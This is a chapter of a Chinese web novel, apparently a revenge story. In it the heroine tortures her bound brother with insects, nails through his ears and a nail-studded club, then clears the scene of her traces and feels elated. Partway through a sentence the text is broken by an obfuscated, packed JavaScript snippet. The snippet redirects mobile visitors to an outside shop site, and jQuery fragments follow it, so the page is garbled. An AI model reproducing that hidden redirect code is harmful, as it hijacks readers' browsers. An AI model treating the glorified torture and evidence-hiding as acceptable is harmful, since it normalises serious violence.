陈大叔见状立刻上前接手,继续有节奏地按压。 “还有救,快,送卫生所!”他急促地说道。 南秉义胡乱接过旁人递来的衣服披上,一群人手忙脚乱地抬起南春,脚步踉跄却又飞快地朝着矿卫生所的方向赶去。 包兰芝闻讯跌跌撞撞地赶来,看到南春那副模样,眼前一黑,哭得几乎晕厥过去,全靠旁人搀扶着。 “怎么你大哥没找到……小春又…….”她抓着南雁的手臂,指甲几乎要嵌进肉里,语无伦次,“这到底是咋回事啊?老天爷,这是要收了我们南家吗?” 南雁面色凝重:“小春为了找大哥,不小心掉进废弃鱼塘了。” 包兰芝泪眼模糊地看着昏迷不醒的南春,又望向漆黑的大山,一时间,只觉得天旋地转,竟不知该先担忧哪一个。 ...... 矿卫生所里,灯光惨白。 经过一番紧张的抢救,南春总算吐出了几口污水,捡回了一条命,但随即又发起了高烧,浑身滚烫,需要留在卫生所观察。 包兰芝和南秉义守在病床边,精疲力尽,脸上笼罩着驱不散的愁云惨雾。 “雁子,”包兰芝揉着刺痛的额角,抬眼疲惫地看向站在一旁,似乎惊魂未定的南雁,声音沙哑得厉害,“带你妹妹回家睡觉,家里不能空着……也……也等你大哥回来。他要是回来,立马告诉妈。” 她顿了顿,看着南雁同样狼狈的样子,补充道:“换一身干衣服,别感冒了。” 南雁默默地点头,没有多余的话。她领着被吓坏的南玉,走出了卫生所,踏上了空旷清冷的回家路。 家里的灯还亮着,门虚掩着,保持着他们仓促出门时的样子。 桌上没吃完的饭菜早已冰凉,屋子里静得可怕,只有院里的母鸡还在咕咕叫。 37. 体力活 晨曦初露,窗纸还浸着冷白,南雁轻手轻脚地打开门,院子里的凉气立刻贴了上来。 南秀正蹲在墙根下洗漱,听见动静抬起湿漉漉的脸,发丝粘在腮边,“姐,这么早你要出去啊?” 南雁脚步未停,只朝身后摆摆手:“瞎跑一会,活络筋骨。早饭不用等,中饭我顺道从食堂打回来。” 她的身影很快融进晨雾里,像一滴水汇入河流,不见了踪影。 南秀望着大姐消失的方向,心里莫名地空了一块。 她觉得大姐今日的脚步,不似往日沉重,像是卸下了什么重负,有种近乎飘忽的轻快,像是压抑已久的鸟儿终于要挣脱牢笼,振翅飞向一个她无法理解的远方。 这感觉让她很不安。 南雁没有走矿里常走的大路,而是拐进了后山那条几近被荒草吞没的小径。 露水很快打湿了她的裤脚,冰凉的贴着皮肤,草叶边缘的锯齿拉过,留下刺痒的白痕。 她目光低垂,像搜寻宝藏般扫过路旁的草丛,偶尔蹲下身,指尖小心翼翼地拨开那些挂着露珠的草叶。 捉螳螂需要耐心,南雁的动作轻而快,看准了才出手,五指合拢罩住那些懵懂中的小生灵。 她从衣服口袋里掏出一个小土罐,将捉到的螳螂放进去。 罐子里渐渐热闹起来,十几只螳螂不安地跳动,细足刮擦着陶壁,发出窸窣的声响。 待到日头升高,金光慷慨地铺满山野,南雁才直起腰,揣着那罐“活物”,转向关押南天贵的破猎户屋。 行至半山腰,雾霭深处忽然传来人语。 南雁心下一凛,迅速捂住陶罐,闪身躲进一旁茂密的灌木丛,屏住呼吸。 李文华和刘三的身影,像两个鬼魅,从乳白色的雾气里析出。两人低声交谈着,声音里带着压抑的兴奋。 “……说是昨晚就没影儿了,急得包婶和秉义叔直跳脚,连夜找人。”李文华的语调里,幸灾乐祸几乎要满溢出来。 南雁在草丛后听得真切,心里冷哼一声:果然是他们! 刘三嗤笑一声:“等复试过了,再送他们一份‘厚礼’!” 李文华有些犹豫:“会不会……太显眼了?” 刘三满不在乎:“放心,那地方鬼都不去,没人会知道。再说,咱动他一根指头了么?不过是请他‘清静’几天。” 两人的声音随着脚步渐行渐远,最终被蜿蜒的山路和浓雾吞没。 南雁从灌木丛中钻出来,拍了拍沾在衣裤上的草屑与露水,嘴角勾起一抹冷冽的弧度。 她确认四下再无旁人,这才继续向山上那间孤零零的破屋走去。 晚上光线不好看不清,白天南雁才看清,屋子荒败得厉害,墙皮大块大块地剥落,露出里面灰黑的坯土,屋顶塌了一角,像被挖掉眼珠的空洞眼眶。 她推开快散架的木门,“吱呀——”一声锐响,划破了清晨山间的寂静。 南天贵仍被五花大绑在屋角那根满是霉斑的木柱上,嘴上的胶布歪斜着,边缘翻起。 听见动静,他猛地抬起头,蒙着眼的脸转向门口,喉咙里发出困兽般的“呜呜”声。 这一夜,于他而言,定然是漫长得没有尽头,恐惧和绝望恐怕已经将他啃噬得差不多了吧?南雁冷漠地想。 她没有出声,反手将门带上,屋内的光线骤然暗淡下去,灰尘在仅有的几道光柱里狂舞。 她径直走到南天贵面前。 南天贵虽然看不见,但敏锐地感觉到了有人在逼近。恐惧让他像触电般剧烈地扭动起来,绳索深勒进皮肉,发出令人牙酸的摩擦声。 他怕极了,不知道这次来的会是什么。 南雁无视他的挣扎,从口袋里掏出一小团棉花,利落地塞进了他的两只耳朵里。 棉花塞得极满,几乎要撑破耳道,外界的所有声响瞬间被抽离,世界堕入一片虚无的死寂。 黑布之下,南天贵惊愕地瞪大双眼,不明白这沉默的来者意欲何为。 他想问,想求饶,但所有声音都被胶布和棉花双重封锁,只能在喉咙里化作模糊不清的绝望咕哝。 这种被完全掌控、无法沟通的境地,比直接的殴打更让他崩溃。 确认南天贵听不见任何声音后,南雁这才打开了陶罐的盖子。 螳螂,一只,两只,三只……接连不断地落在南天贵的身上、头上、脖颈。 这些翠绿挥舞着镰刀的小东西,似乎将这具无法动弹的□□当成了新的丛林,争先恐后地跳跃、爬行。 细足划过皮肤,带来一阵阵密密麻麻钻心的瘙痒。 南天贵起初只是感觉有细微的触感,很快,那痒意就升级为无数小爪子的抓挠和跳跃。 有的螳螂钻进了他的衣领,在胸膛后背探索;有的停在他的脖颈处,触须轻颤;甚至有的顺着他的脸颊爬过,冰凉的足尖掠过鼻翼、眼皮。 他听不见它们窸窣的动静,看不见它们翠绿的身影。 寂静如同厚重的淤泥,将他包裹、淹没,未知的恐惧被无限放大。 他能感觉到的,只有那无处不在、令人毛骨悚然的爬动,和面前这人冰冷如铁的注视。 心脏快要从嗓子眼跳出来,血液冲撞着耳膜,在一片死寂中发出轰鸣。 他疯狂地扭动身体,像一条被钉住的蚯蚓。手腕、脚踝处的绳索越勒越紧,破皮出血,火辣辣地疼,但他顾不上了,只想摆脱身上那些可怖之物。 他想嘶吼,想求救,但胶布死死封住了所有出口,所有挣扎只化作喉咙深处沉闷而绝望的呜咽,在空荡的破屋里撞击回响,显得格外凄凉。 恐惧像冰水,从头顶浇下,瞬间冻结了四肢百骸。 他的身体不可抑制地剧烈发抖,最终,一股温热带着骚气的液体不受控制地顺着裤腿淌下,洇湿了身下冰冷的地面,形成一滩难堪的污迹。 南雁一直站在原地,冷眼旁观。 看着他惊恐万状,徒劳挣扎,看着他最终失禁,显露出最窝囊不堪的一面。 她终于笑了出来,那笑声在空旷的破屋里盘旋,带着积压多年的怨恨和复仇成功的快意。 可惜这年代没有手机,不然真该将他这副尊容收进去,待到包兰芝年老体衰、眼花耳背之时,再将这“好东西”捧到她眼前,那场景,想必是精彩得紧,足以慰藉她半生辛劳了。 南天贵在极致的羞耻与恐惧中,意识彻底崩断,眼睛一翻,晕死过去。 南雁收敛了笑容,走上前,用手背不轻不重地拍了拍他汗湿冰冷的脸颊。 “这么不经吓?”她嘀咕了一句,语气里听不出是失望还是满意。 见南天贵已无知觉,她便从口袋里取出了两枚细长,闪着寒光的铁钉。 她的动作很稳,右手握着钉子,左手固定住南天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16683816|185383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贵的耳廓。 她要给他留下永恒的印记,让他永远记住今天的恐惧和痛苦。 第一枚钉子穿透耳骨时,南天贵的身体剧烈地抽搐了一下,但并未醒来。直到第二枚钉子也穿透另一只耳朵,剧痛才将他从昏迷中拽了回来。 南天贵痛得浑身痉挛,像一条被扔进油锅的活鱼,喉咙里爆发出野兽垂死般的哀嚎,可惜被胶布死死封住,只能化作沉闷欲裂的呜咽。 眼泪、鼻涕、汗水混合着流下来,糊了满脸,在黑布上浸开肮脏的印记。 南雁面无表情地看着他痛苦的模样,眼中没有丝毫怜悯,只有快喷薄而出的杀意。 这点痛,比起她前世受的苦,算得了什么? 她转身走到屋外,在杂草和废料间翻找片刻,捡起一根手腕粗细的木棍。 将另一枚长钉固定在棍头,做成一件简陋而骇人的凶器。 重新回到南天贵面前时,她眼中那伪装的平静终于碎裂,多年积压的怨恨如同压抑已久的火山,轰然喷发,炽热的岩浆灼烧着她的五脏六腑。 她想起南天贵的辱骂;想起他偷走她做生意的钱去赌博;想起他如何在街坊四邻间散布关于她的恶毒谣言,毁她清誉;更想起他曾经试图把她卖给邻村的老光棍换酒钱。 这些记忆如淬毒的匕首,一次次刺穿她的心脏。 “这一下,是为了上一世的南雁。”南雁咬牙切齿道。 木棍带着风声落下,钉子深深扎进南天贵的右腿,发出令人牙酸的入肉声。 南天贵发出了一声撕心裂肺的惨叫,那惨叫声冲破了胶布的阻隔,变得嘶哑而凄厉,在破屋里横冲直撞。 他双眼瞬间充血变红,额头上、脖颈上的青筋如同扭曲的蚯蚓般暴起,整个人像离水的鱼一样剧烈地抽搐、弹动,很快,便在无法承受的剧痛中,再次陷入无边黑暗。 南雁站在原地,胸口剧烈地起伏着,握着木棍的手微微发抖。 这不是害怕,也不是后悔,而是极致的恨意宣泄后的虚脱与畅快,像狂奔后的脱力,带着战栗的余韵。 良久,她才平复了急促的呼吸。 走上前,用脚尖踢了踢南天贵那条不断渗血的伤腿,确认他已彻底失去意识。 然后,才开始有条不紊地清理现场。先取出他耳中的棉花,又解开了他身上的绳索,但依旧巧妙地维持着被捆绑过的痕迹,只需轻微挣扎便能挣脱。 她仔细检查了每一寸地面,确保没有留下任何属于自己的发丝、脚印或其它痕迹。 临走前,南雁回头看了一眼昏死过去的南天贵,眼神复杂,最终化为一片淡漠。 屋外,太阳已经完全升高了,明晃晃的阳光透过树叶的缝隙筛落下来,形成一道道温暖的光柱,落在她身上,驱散了破屋里的阴冷和血腥气。 她深吸一口山间清新的空气,只觉得浑身舒畅温暖,连脚步都变得异常轻快,几乎要跳跃起来。 南雁一路哼着歌,去食堂打饭,掌勺的胖阿姨隔着窗口都察觉到了她眉宇间不同往日的松快,笑着搭话:“雁子,今儿个是捡着钱了?这么高兴?” 南雁笑着应道:“没什么,就是觉得今天天气好,太阳暖洋洋的。” 她打了满满一铝盒饭菜,还额外多要了两个雪白、柔软的白面馒头,给自己加餐。 毕竟,干了一上午的“体力活”,总得好好补充能量。